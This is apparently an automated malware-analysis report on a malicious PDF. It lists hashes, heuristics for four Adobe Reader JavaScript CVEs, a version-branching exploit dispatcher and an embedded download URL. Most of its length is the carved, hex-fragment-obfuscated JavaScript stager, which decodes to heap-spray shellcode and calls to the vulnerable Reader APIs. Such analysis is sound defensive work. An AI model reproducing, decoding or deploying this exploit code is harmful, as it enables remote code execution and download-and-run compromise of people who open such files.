Malicious PDF — malware analysis report

Static analysis result for SHA-256 99362c25c4996af8…

MALICIOUS

PDF

7.7 KB First seen: 2026-05-11
MD5: a9685e6fa925ed9a8cf861ec7f0af9f6 SHA-1: 830029bdaa453d56e5b2455a65b719fd55066e41 SHA-256: 99362c25c4996af89f26a797fb6f086fe4c3a3a9ebc528b5c415cb2b21f0c889
490 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 11

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Quoted-hex fragment JavaScript stager high PDF_QUOTED_HEX_FRAGMENT_JS_STAGER
    PDF JavaScript stores the hidden exploit stage as many quoted hexadecimal fragments, joins them through helper functions, and evals the recovered JavaScript. The decoder is bounded and only fires when the recovered stage contains concrete Acrobat exploit APIs or heap-spray shellcode markers.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://127.0.0.1/denwer/fs/load.php Referenced by PDF JavaScript

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0009_000.js pdf-javascript-stream PDF /JS object 9 at offset 0xB6 29839 bytes
SHA-256: 9c7d42c844e032a77c85fba3001a7ee17dae2aab30327a7c6abf7efc51b2101a
Preview script
First 1,000 lines of the extracted script
oMNW = eval;aJnl=oMNW;function nEyW (vhNN) {aJnl(decodeURIComponent(vhNN));}function FXIr(VREn, FdJg) {return ((FdJg instanceof Array)?FdJg.join(VREn):FdJg);}function dHUp5Ex7() {var oMNW=new Array('66756e6374696f6e2069366d34753179342878317936643569','322c6e3730386e37393474343634297b77','68696c652878317936643569322e6c656e6774682a3220','3c206e3730386e37393474343634297b7831','7936643569','322b3d78317936643569323b7d78','317936643569','323d7831793664356932','2e737562','737472696e');var ZI9eVgsR=FXIr("", oMNW);return ZI9eVgsR;}function Rwbps0RV() {var oMNW=new Array('6728302c6e373038','6e373934743436342f32293b72657475','726e2078317936643569323b','7d66756e6374696f','6e20627265616b6661737428297b7661','722073','68656c6c636f6465203d20756e6573636170');var SU7OixAC=FXIr("", oMNW);return SU7OixAC;}function P99eQwMJ() {var oMNW=new Array('65282225754131363425753030313825753030','303025753430384225753842','33302575353434302575343038422575','38423034257530343430','2575343038422575304430342575303032302575303032','30257537','433344257537373030','257537343030','25754333303125754330333325753842363425','7533303430257530','43373825753430');var YotxwU56=FXIr("", oMNW);return YotxwU56;}function VdUaE65x() {var oMNW=new Array('38422575384230432575314337','3025753842414425753038353825','75303945422575343038422575384433342575','374334','302575353838422575364133432575354134452575453244','312575453232422575454338422575343543372575','36453130257536353245257543373738257531343435','257530314646','2575303030302575343543372575303030302575');var jQozc7nv=FXIr("", oMNW);return jQozc7nv;}function nSxqRoHM() {var oMNW=new Array('3030303025754542303025','753541344625753833','3532257535','3645412575','353538392575353631','38257538423537257533433733257537','34384225753738','3333257546333033257538423536257532303736257546','333033257543393333257535','303439257541443431257546463333257530463336','2575313442452575333830332575373446','322575433130382575','3044434625754641303325754542343025','7535384546257546383342257545353735257538423545','25753234343625754333303325753842363625753438304325','75353638422575303331432575384244332575','38413034257543333033','257535453546257543','33353025753744384425753537314325754238','3532257543413333257535');var vi16iOy1=FXIr("", oMNW);return vi16iOy1;}function MZPOUlof() {var oMNW=new Array('423841257541324538257546464646','25753332464625753842433025754632','463725753446414525753435384225754142','313025753938363625754142363625754330','3333257536314238257530','3036342575','3530303025753534','363825753732363825753335363525753143323425','7537343639257535343530257542','38353325754643414125753743','304425753535464625753833313825753043433425754230','35302575384136432575393845302575363835302575364536','4625753634324525753735363825');var w3EZbOFq=FXIr("", oMNW);return w3EZbOFq;}function Rg4dxpKy() {var oMNW=new Array('7536433732257535343644257538454238','257530453445257546464543257531383535257543343833','257539333043257533333530','257535304330257535363530257535','353842257530333138257531343535257535303532','25753336423825753246314125754646373025','75313835352575','3833354225753030374425','753046303125753945383525753030','3030257536413030','25753638303025753030383025753030','30302575','3033364125753030364125753033','36412575303036','382575303030302575353643302575413542382575','30303137257546','4637432575313835352575343538392575','3641303425753638303425753130303025753030303025','753030363825','753038303025753641303025754238303025754341','3534257539314146257535','35464625753839313825753043','34352575','36413530257538');var GTaFhMBv=FXIr("", oMNW);return GTaFhMBv;}function vyCDFr37() {var oMNW=new Array('443030257530383444257536383531','257530303030257530303038257546463530257530','34373525753136423825754641','3635257546463130257531','3835352575384235462575383331372575','303443372575344438422575383330382575303445392575','41374538257530303030257536413030','257536413030257536413030257546463030257530343735','2575414342','382575444130382575464637','362575313835352575303036412575344438442575','353130382575373546462575','4646303825753043373525753034383325','7530343234257537','354646257542383034257537393146','25754538304125','753535464625754646313825753034','3735257546424238257546443937257546','4630462575313835352575343543','3725753032303025753030303025753537303025754238','353625754645393825753045384125753535464625754542','313825753241324125753443443025753441394325754437','363425753133333325','753839463825753133413625754637363225753439','323625753042393725753031373125','7538334443257542313538257532444433');var KZE7HYrR=FXIr("", oMNW);return KZE7HYrR;}function to1jLRZM() {var oMNW=new Array('25754543353725','75323145372575314332442575414344','36257537453841257542363443','25754434443725753833344425753030','374425753734303225754337363025753030343525753030','3031257530303030','257534354337257537393130257536','353245257543373738257531343435','2575303137322575','303030302575374438422575303331382575','31343744257532364239257530303030257538','42303025754643353725','753035453825753030303025754539','303025754645374325754646464625754330333325','7530373841','257543384432257543','3133322575443046362575433533322575433233','322575433633','3225754330443225754331303225','75433530322575433230322575433630322575433844','3225754331324125754335324125754430463625','75433232412575433632412575433044');var y5D0Dtm4=FXIr("", oMNW);return y5D0Dtm4;}function zYEVacaF() {var oMNW=new Array('3225754332443325754341304625753037383825753439','34372575434537352575','433343332575373436','38257537','303734257532463341257533','313246','257533373332257533303245257533','30324525753331324525753634','3246257536453635257536','35373725753246373225753733363625753643','3246257536313646257532453634257536383730','25753030373022293b76617220626c6f636b203d','20756e','65736361706528272575','3063306325753063306327293b766172');var Ei04inUf=FXIr("", oMNW);return Ei04inUf;}function jIwLPecF() {var oMNW=new Array('2047446167614375794e66','5253467a61535a4c4f203d20756e657363','617065282725753063306325753063','30632575306330632575306330632575306330','632575306330632575306330632575306330632575','3531346525753438363525753438343425','7537323466257534','61366525753664343325753462353125','7534623739','25753731353625753464343125753539343425','75353936622575373937392575363235612575363236662575','3761366525753633346525753461346425753633343125','7536323533257534313534257535363730257535','353433257534323733257534633531','2575353736642575','3537373225753536373027293b776869','6c6528626c6f636b2e6c656e6774','68203c3d2033323736382920626c6f636b2b3d626c6f636b3b','626c6f636b3d626c6f636b2e737562737472696e','6728302c333237363820','2d207368656c6c636f64652e6c','656e677468293b6d656d6f72793d6e65772041','7272617928293b666f7228693d303b','693c3078323030303b692b2b29','7b6d656d6f72795b695d3d20626c6f636b202b','207368656c6c636f');var owz27vN8=FXIr("", oMNW);return owz27vN8;}function fYJG6knY() {var oMNW=new Array('64653b7d7574696c2e7072696e74642827726c7050706a','545858496e635568776167437a637548666d6b7a4f6242535a','44474e6443272c','206e6577','20446174652829','293b7574696c2e7072696e74642827536f7453','784e51764d714b4e6a4a6b4958696f4b6c6d665a59','666d69504767474e4e','4b6e27','2c206e65','7720446174652829293b7472797b746869732e6d656469','612e6e6577506c6179657228');var ihoOWrS1=FXIr("", oMNW);return ihoOWrS1;}function f7PDVtZq() {var oMNW=new Array('6e756c6c293b7d6361','7463682865297b7d757469','6c2e7072696e74642847446167614375794e','665253467a61535a4c4f2c206e6577204461','74652829293b7d66756e6374696f6e206c75','636b6f757428297b7661722074397837613572383d756e','6573636170','652822257541313634257530303138257530303030257534','3038422575384233302575353434302575343038422575','3842303425753034');var W7VZiw4L=FXIr("", oMNW);return W7VZiw4L;}function RfpvsTV1() {var oMNW=new Array('343025753430384225753044','30342575303032302575303032302575374333442575373730','3025753734303025','754333303125754330','33332575384236342575333034302575304337382575343038','42257538423043257531433730257538424144257530383538','2575303945422575343038422575384433342575','374334302575353838422575364133432575354134');var dFZbmxcQ=FXIr("", oMNW);return dFZbmxcQ;}function BhWYU91t() {var oMNW=new Array('452575','453244312575453232','422575','4543384225753435433725','7536453130','2575363532452575433737382575313434352575','3031464625753030','3030257534354337257530303030257530303030','25754542303025753541344625753833','35322575353645412575353538392575353631382575','3842353725');var Lyr3uuPS=FXIr("", oMNW);return Lyr3uuPS;}function O8aUWV55() {var oMNW=new Array('753343373325753734384225753738','333325754633303325753842353625753230373625','75463330','33257543393333257535303439257541443431257546','463333257530','463336257531344245257533','3830332575373446322575433130','3825753044434625754641303325754542','3430257535384546257546383342257545353735257538','4235452575323434362575433330');var sZHc7nJN=FXIr("", oMNW);return sZHc7nJN;}function n4t6hs2a() {var oMNW=new Array('3325753842363625753438304325','7535363842257530333143257538424433257538','413034','2575433330332575354535462575433335','302575374438442575','35373143','257542383532257543413333257535423841257541324538','25754646464625753332464625753842433025','7546324637','25753446414525753435384225754142','313025753938','36362575414236362575433033332575363142382575303036','3425753530303025753534363825753732363825753335','363525','7531433234257537343639','2575353435302575423835332575464341412575','37433044257535354646257538333138257530434334257542','30353025753841','36432575393845','30257536383530257536453646257536343245257537353638','257536433732257535343644257538','4542382575304534452575464645432575','31383535257543343833257539333043257533','333530257535','304330257535363530257535353842257530','33313825753134353525753530353225753336423825','7532463141257546463730257531383535257538333542','257530303744');var BYd81JXd=FXIr("", oMNW);return BYd81JXd;}function AdwP95Kh() {var oMNW=new Array('2575304630312575394538352575303030302575','36413030257536383030257530303830','2575303030302575303336','41257530303641257530','3336412575303036382575303030302575353643302575','413542382575303031372575464637432575','31383535257534353839257536413034257536383034','257531303030257530','303030257530','30363825753038303025753641303025754238303025');var HOHwZbOr=FXIr("", oMNW);return HOHwZbOr;}function Hfa1z5Ee() {var oMNW=new Array('754341','35342575393141462575353546462575383931','382575304334352575364135','30257538443030257530383444','2575363835312575303030302575','303030382575464635302575303437352575313642','3825754641363525754646','313025753138353525753842354625753833','313725753034433725753444384225753833','303825753034453925754137453825753030303025753641','3030257536413030257536413030257546463030','25753034','37352575414342382575444130382575464637362575313835','3525753030364125753444384425','753531303825','7537354646257546463038257530433735257530','34383325753034323425753735464625754238','303425753739314625754538304125753535464625754646','31382575303437352575464242382575464439372575464630','462575','3138353525','75343543372575303230302575303030302575353730302575');var JIv3q63d=FXIr("", oMNW);return JIv3q63d;}function hQkeIscN() {var oMNW=new Array('42383536','257546453938','25753045384125753535464625754542313825753241','32412575344344302575344139432575443736342575313333','332575383946382575313341362575463736','322575343932362575304239372575303137312575383344','43257542313538257532444433257545433537','2575323145372575314332442575414344','3625753745384125754236344325754434','44372575383334442575303037442575373430','3225754337363025753030','343525753030303125753030303025753435433725753739','3130257536353245257543373738','257531343435257530313732257530303030257537443842');var awPWl7CJ=FXIr("", oMNW);return awPWl7CJ;}function CSC5gBhJ() {var oMNW=new Array('25753033313825','75313437442575323642392575','30303030257538423030257546','433537257530354538257530303030257545393030257546','453743257546464646257543303333257530','373841257543384432257543313332257544','30463625754335333225','7543323332257543363332257543304432257543','3130322575433530322575433230322575433630','32257543384432257543313241','2575433532412575443046','3625754332','3241257543363241257543304432257543324433257543','41304625753037383825753439343725754345','373525754333433325753734363825753730373425753246','3341257533','313246','25753337','33322575333032452575333032452575');var bCLWnizf=FXIr("", oMNW);return bCLWnizf;}function oEKh70n5() {var oMNW=new Array('333132452575363432462575364536','352575363537','3725753246373225753733363625','75364332462575363136462575324536342575363837302575','3030373022293b76617220613966','3962383d756e6573636170652822257530','413041257530413041257530413041257530','41304122293b766172206434393078393032743332','30753531333d6139663962382b74397837613572383b','766172206336633469383d756e6573','63617065282225753041304125753041304122293b7661','72206c323030','7831373476373934793738333d32','303b766172207836','36316f363333753832343d6c32');var cu1qnUZi=FXIr("", oMNW);return cu1qnUZi;}function pvqScB3H() {var oMNW=new Array('3030783137347637393479373833','2b64343930783930327433323075','3531332e6c656e6774683b7768696c65286336633469382e6c','656e677468203c20','783636316f36333375383234297b6336633469382b3d633663','3469383b7d7661','72206d36376634307a30326f30313d633663346938','2e737562737472696e6728','302c783636316f36333375383234293b76','61722076393338643337326d3935353d6336633469382e','737562737472696e672830','2c6336633469382e6c65','6e6774682d78363631','6f36333375383234293b7768696c652876393338643337326d','3935352e6c656e6774682b783636316f363333753832343c','307834303030','30297b','76393338643337326d3935353d76393338643337','326d3935','352b76393338643337326d3935352b6d36376634','307a30326f30313b7d7661722079333976','36326b32306b30313d6e657720417272617928293b666f7228','76617220693d303b693c313430303b692b2b297b793339','7636326b32306b30315b695d3d763933386433','37326d39','35352b64343930','7839303274333230753531333b7d766172206539','3430673038326438','39373d313239');var VgymhBzS=FXIr("", oMNW);return VgymhBzS;}function ZEYU0cBF() {var oMNW=new Array('3939393939393939393939393939393939383838383838','38383838383838383838383838383838','3838383838383838383838','383838383838383838','3838383838383838383838383838383838383838383838','383838383838','3838383838383838383838383838383838383838','38383838','38383838383838383838383838383838','383838383838383838','38383838383838383838383838','38383838','38383838383838383838383838','3838383838383838383838383838383838383838383838','383838383838383838383838383838','38383838383838383838383838383838','38383838383838383838383838383838383838383838','38383838383838383838383838383838383838','38383838383838383838383838383838');var SYvrGWrY=FXIr("", oMNW);return SYvrGWrY;}function M37uAXKm() {var oMNW=new Array('3838383838383838383838383838383b7574','696c2e7072696e7466282225343530','303066222c653934306730383264383937293b7d66756e6374','696f6e20676f6f6679706572736f6e28297b','766172','206e35367735367732306735373d75','6e6573','63617065282225','7541313634','2575303031382575303030302575343038422575384233','3025753534343025753430384225753842','30342575303434302575343038422575304430342575','3030323025','75303032','30257537433344257537373030257537343030257543333031','25754330333325753842363425753330343025753043','373825753430384225753842','30432575314337302575384241442575303835382575','30394542257534303842','25753844333425753743343025','7535383842257536413343257535413445257545','3244312575','4532324225754543','3842257534354337257536453130','25753635324525754337373825753134','3435257530314546257530');var jlOYsw9C=FXIr("", oMNW);return jlOYsw9C;}function TBkXWTes() {var oMNW=new Array('30303025753435433725753030303025753030303025','754542303025753541344625753833','353225753536','4541257535353839257535','363138257538423537257533433733257537343842','257537383333257546333033257538423536257532','3037362575463330332575433933332575353034','392575','4144343125754646333325753046','33362575313442452575333830332575373446322575433130','3825753044434625754641','30332575454234302575353845462575','46383342257545','3537352575384235','45257532343436','2575433330332575384236362575343830','432575353638422575303331432575384244');var cYV4FNtl=FXIr("", oMNW);return cYV4FNtl;}function lF5e0DBW() {var oMNW=new Array('332575384130342575','43333033257535453546257543333530257537443844257535','3731432575423835322575434133332575','35423841','25754132453825754646464625753332','464625753842433025','75463246372575344641452575343538','422575414231302575393836','362575','41423636257543','3033332575363142382575303036342575','35303030','257535','3436382575373236382575333536352575314332342575','3734363925753534353025754238353325754643','4141257537433044257535354646257538333138','25753043433425','7542303530257538','4136432575393845302575363835302575364536','46257536343245257537353638257536433732','2575353436','44257538454238257530453445257546464543257531383535','2575433438332575393330432575','333335302575353043302575353635302575');var jsi2Cx2c=FXIr("", oMNW);return jsi2Cx2c;}function bHllqTXQ() {var oMNW=new Array('35353842257530333138257531343535','257535303532257533364238257532463141257546','46373025','75313835352575383335','42257530303744257530463031257539453835257530','30303025753641303025753638','3030257530','303830257530303030257530333641257530303641','257530','33364125753030363825753030','303025753536','433025754135423825753030313725754646374325753138','3535257534353839','25753641303425753638303425753130303025753030303025','7530303638257530383030257536413030257542','383030257543413534');var J0aNMn3q=FXIr("", oMNW);return J0aNMn3q;}function EXLNwgfj() {var oMNW=new Array('25753931414625753535464625753839','31382575','30433435257536','4135302575384430','3025753038','3444257536383531257530303030','2575303030382575464635302575303437352575313642','3825754641','36352575464631302575313835352575384235','46257538333137257530344337257534443842257538','333038257530344539257539','3745382575303030302575364130302575364130302575','36413030257546463030257530343735257541434238257544','413038257546463736257531','3835352575303036','41257534443844257535313038257537','354646257546463038257530','433735','257530343833257530','343234257537354646257542');var M1Xwzikx=FXIr("", oMNW);return M1Xwzikx;}function cFvfAnfr() {var oMNW=new Array('38303425753739314625754538304125753535','464625754646313825753034373525','754642423825754644393725754646304625','753138','3535257534354337257530323030257530','303030257535373030257542383536257546453938','25753045384125','75353546','462575454231382575383131412575453533312575424543');var t4WJf18k=FXIr("", oMNW);return t4WJf18k;}function iN1KLvP9() {var oMNW=new Array('36257544','433531','257531334642257538394543257537424446257539323046','25753031434525754341304325754446464425753438393125','753242374125753833394225753030','3744257537343032257543373630257530303435','2575303030312575303030302575343543','3725753739313025753635324525754337373825753134','343525753031373225753030','30302575374438422575303331382575313437442575','3136423925753030303025753842','303025754643353725','75303545382575303030302575453930302575464538432575','4646464625754330333325753037384125754338443225','754331333225754430463625754335333225754332333225','7543363332','2575433044322575433130322575433530','32257543323032257543363032257543384432257543','3132412575','43353241','25754430463625754332','324125754336324125754330443225','75433244332575434130462575303738','38257534393437257543','4537352575433343332575373436382575','3730373425753246334125753331324625753337333225');var lcvV6Auv=FXIr("", oMNW);return lcvV6Auv;}function bJ8D8BOe() {var oMNW=new Array('7533303245257533303245257533','31324525','75363432','462575364536352575363537372575324637322575373336','36257536433246257536313646257532453634257536383730','2575303037','3022293b766172207933397636326b32306b','30313d6e65772041','7272617928293b','766172207a34377336337533333d30783063306330633063','3b766172207631','34377136303663373830','3d30783430303030303b76617220623662316b386f373d','6e3536','7735367732306735372e6c656e','6774682a323b766172206e3730386e37','3934743436343d763134377136','3036633738302d28623662316b386f372b30783338293b7661','722078317936643569323d756e6573','63617065282225753930393025753930393022293b7831','7936643569323d','69366d34753179342878317936643569322c6e3730386e3739','3474343634293b','766172207a33323279353031763830343d287a3437733633','7533332d3078343030303030292f7631343771','363036633738303b666f7228766172');var lUAomhUw=FXIr("", oMNW);return lUAomhUw;}function QjfDjPTw() {var oMNW=new Array('206a393936743330356e','353837793633353d303b6a39393674','333035','6e35383779','363335203c207a33323279353031763830','343b6a393936743330356e35383779363335','2b2b297b7933397636','326b32','306b30315b6a393936743330356e35383779','3633355d3d78317936643569322b6e35367735367732','30673537','3b7d766172207132306536397a34307434303d','756e6573636170652822257530633063257530633063','22293b7768696c652871323065','36397a34307434302e6c656e6774683c','343439','3532297b7132306536','397a34307434302b3d');var wgVSrnai=FXIr("", oMNW);return wgVSrnai;}function DCeslrZl() {var oMNW=new Array('713230','6536397a34307434303b7d746869732e','636f6c6c616253746f72653d436f6c6c61622e','636f6c6c656374456d61696c496e666f287b7375626a3a','22222c6d73673a7132306536397a34307434','307d29','3b7d66756e','6374696f6e20','6d6578','6963616e627265616b6661737428297b696628');var PBpNn8zO=FXIr("", oMNW);return PBpNn8zO;}function U4PFv5Ts() {var oMNW=new Array('6170702e646f632e436f6c6c61622e67657449636f6e','297b766172207438703064313d6e657720417272617928293b','76617220','673234366532323765363534703032303d75','6e6573636170652822','257541313634257530','3031382575303030302575343038422575','3842333025753534343025','75343038422575384230342575303434302575','343038422575304430342575303032302575303032302575','374333442575373730','302575373430302575433330','312575433033','332575384236342575','3330343025753043373825753430384225','75384230432575314337','3025753842414425','753038353825753039454225753430384225','753844333425753743343025753538384225753641334325','75354134452575453244312575','453232422575','454338422575343543','372575','364531302575363532452575433737','382575313434352575','303146462575303030302575','34354337257530303030257530','30303025754542303025753541344625753833353225','7535364541257535353839257535363138','257538423537257533433733257537343842','2575373833');var NfLz9YN5=FXIr("", oMNW);return NfLz9YN5;}function N7NbjWXg() {var oMNW=new Array('332575463330332575384235362575','3230373625754633303325754339333325753530343925','754144343125754646','33332575304633','362575313442452575333830332575373446','3225754331303825753044','43462575464130332575454234302575353845','462575463833422575453537','3525753842','35452575323434362575433330332575','3842363625753438304325753536384225','753033314325753842443325753841303425754333','30332575354535','4625754333353025753744384425753537314325754238','35322575434133332575','3542384125754132453825','75464646462575333246462575384243302575463246');var kKNwIyya=FXIr("", oMNW);return kKNwIyya;}function kLp0IQU9() {var oMNW=new Array('37257534464145257534353842','257541423130257539383636257541423636257543','30333325753631423825753030363425753530303025','7535343638257537323638257533353635','257531433234257537343639','25753534','353025754238353325754643414125753743','304425753535','4646257538333138257530434334257542','303530257538413643257539','384530','25753638','35302575364536','4625753634324525753735363825753643373225');var bX4pGvMD=FXIr("", oMNW);return bX4pGvMD;}function ikds6P9M() {var oMNW=new Array('753534364425','7538454238257530453445257546464543257531','38353525754334383325753933304325753333353025753530','4330257535363530257535353842257530','3331382575313435352575','35303532257533364238257532463141257546','463730257531383535257538333542257530','30374425753046303125753945','383525753030303025','753641303025753638303025753030383025','7530303030257530333641257530303641257530','333641257530303638257530303030','2575353643302575413542382575303031372575464637','432575313835352575343538392575364130342575363830','3425753130303025753030');var cf0zNTGT=FXIr("", oMNW);return cf0zNTGT;}function g31AeP8T() {var oMNW=new Array('303025753030363825753038','303025753641303025754238303025754341353425','753931','414625','753535464625','753839313825753043343525753641353025','753844303025753038344425753638','3531257530303030257530303038257546','46353025753034','37352575313642382575464136','35257546463130257531383535257538423546257538333137','257530','344337','25753444384225','75383330382575303445','3925754137453825753030303025753641303025','7536413030257536413030257546','46303025753034373525754143423825754441','303825754646','37362575313835352575303036','41257534443844257535313038257537354646257546463038','257530433735257530343833257530343234257537354646','257542383034257537393146257545383041257535','35464625754646313825753034373525754642','4238257546443937257546','46304625753138353525753435','4337257530323030257530303030','257535373030257542383536','257546453938257530','4538412575');var EmjD5sAr=FXIr("", oMNW);return EmjD5sAr;}function WNGeQEhH() {var oMNW=new Array('353546462575454231382575','324132412575','3443443025753441','3943257544373634257531333333257538','3946382575313341362575','4637363225753439323625','753042393725753031373125753833444325754231353825','753244443325754543');var vPzUdMDX=FXIr("", oMNW);return vPzUdMDX;}function z9ZyNUT5() {var oMNW=new Array('3537257532314537257531433244257541434436','25753745384125754236344325','754434443725753833','34442575303037442575373430322575433736302575','30303435257530303031257530303030257534','35433725753739313025','7536353245257543373738257531343435','25753031373225753030303025753744384225753033','3138257531','3437442575323642392575303030302575','3842303025754643353725753035','453825753030303025754539303025','7546453743257546464646','25754330333325753037384125754338','4432257543313332257544','304636257543353332257543323332257543','363332257543304432257543313032257543','35303225754332303225754336','3032257543384432257543313241257543','353241257544304636','257543323241257543363241257543304432257543','324433257543413046257530373838257534393437257543','453735','257543','334333257537343638257537303734257532463341257533','31324625753337','33322575333032452575333032452575');var oKxpvsrD=FXIr("", oMNW);return oKxpvsrD;}function FgdQqD6N() {var oMNW=new Array('3331324525753634324625753645363525753635','3737257532463732257537333636257536433246','2575363136462575324536342575363837','3025753030373022293b7661722067323239683037','3362383533613539333d6732343665323237653635347030','32302e6c656e6774682a323b766172206e3730386e37393474','3436343d30783430303030302d','28673232396830','3733623835','33613539332b307833','38293b7661722078317936643569323d756e657363617065','282225753930393025753930393022293b78317936','643569323d69366d3475317934','2878317936','643569322c6e3730386e');var TGFuApgk=FXIr("", oMNW);return TGFuApgk;}function H6aoHe8g() {var oMNW=new Array('37393474343634293b7661722077396c3875383d283078','30633063306330632d3078343030303030292f30','783430303030303b666f7228766172206c38','3937633234386837373067','3033373d303b6c3839376332343868373730','67303337203c20','77396c3875383b6c','3839376332343868373730673033372b','2b297b7438703064315b6c','38393763323438','68373730673033375d3d7831793664','3569322b67323436','65323237653635347030','32303b','7d766172206435383065373033633730','35793937323d75','6e657363617065282225','303922293b7768');var xgpvfs41=FXIr("", oMNW);return xgpvfs41;}function qtZ0x4eA() {var oMNW=new Array('696c6528643538306537303363373035793937','322e6c656e6774683c307834303030297b6435383065','37303363373035793937322b3d64','3538306537303363373035793937323b','7d643538306537303363373035793937323d22','4e2e222b643538306537','303363373035793937','323b6170702e646f632e436f6c6c61','622e67657449636f6e28643538306537303363373035','79393732293b7d7d66','756e6374696f6e20505050444444464628297b766172','2076657273696f6e3d6170702e7669657765','7256657273696f6e2e746f537472696e','6728293b76657273696f6e3d76657273696f6e2e','7265706c616365','282f5c442f672c2727293b766172','2076617273696f6e5f61727261793d6e657720417272617928');var DTkEZczY=FXIr("", oMNW);return DTkEZczY;}function wrePjM0V() {var oMNW=new Array('76657273696f6e2e6368617241742830292c','76657273696f6e2e6368617241742831','292c76657273696f6e2e6368617241742832','29293b6966282876617273696f6e5f617272','61795b305d','3d3d382926262876617273696f6e5f61727261795b315d','3d3d30297c7c28','76617273696f6e5f61','727261795b315d3d3d3126267661','7273696f6e5f61727261795b325d3c3329297b6c7563','6b6f757428293b7d6966282876617273696f6e5f6172726179','5b305d3c38297c7c2876617273696f6e5f61727261795b30','5d3d3d38262676617273696f6e5f6172','7261795b315d3c32262676617273696f6e5f6172','7261795b325d3c3229297b676f6f6679706572736f','6e28293b7d6966282876617273','696f6e5f61727261795b305d3c39297c7c','287661727369','6f6e5f6172726179','5b305d3d3d39262676617273696f6e5f6172726179','5b315d3c3129297b6d65786963616e62726561','6b6661737428293b7d627265616b66','61737428293b7d505050','444444464628293b');var WnvCdMpR=FXIr("", oMNW);return WnvCdMpR;}var eiQIp1C=dHUp5Ex7()+Rwbps0RV()+P99eQwMJ()+VdUaE65x()+nSxqRoHM()+MZPOUlof()+Rg4dxpKy()+vyCDFr37()+to1jLRZM()+zYEVacaF()+jIwLPecF()+fYJG6knY()+f7PDVtZq()+RfpvsTV1()+BhWYU91t()+O8aUWV55()+n4t6hs2a()+AdwP95Kh()+Hfa1z5Ee()+hQkeIscN()+CSC5gBhJ()+oEKh70n5()+pvqScB3H()+ZEYU0cBF()+M37uAXKm()+TBkXWTes()+lF5e0DBW()+bHllqTXQ()+EXLNwgfj()+cFvfAnfr()+iN1KLvP9()+bJ8D8BOe()+QjfDjPTw()+DCeslrZl()+U4PFv5Ts()+N7NbjWXg()+kLp0IQU9()+ikds6P9M()+g31AeP8T()+WNGeQEhH()+z9ZyNUT5()+FgdQqD6N()+H6aoHe8g()+qtZ0x4eA()+wrePjM0V();kkl=unescape;var EC0Q="";for (h=0;h<eiQIp1C.length;h++) {EC0Q=EC0Q+kkl("%")+eiQIp1C[h]+eiQIp1C[h+1];h++;}nEyW(EC0Q);
quoted_hex_fragment_stage_000.js deobfuscated-js quoted-hex fragment decoded JavaScript object 9 at offset 0x17D 11397 bytes
SHA-256: 6c0305eace9e5bfffb350239b5da5e0959d408ae8ed9fe1a2192ce55d26e6c7d
Detection
ClamAV: Js.Exploit.Shellcode-18
Obfuscation or payload: likely
Carved artifact contains 12 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
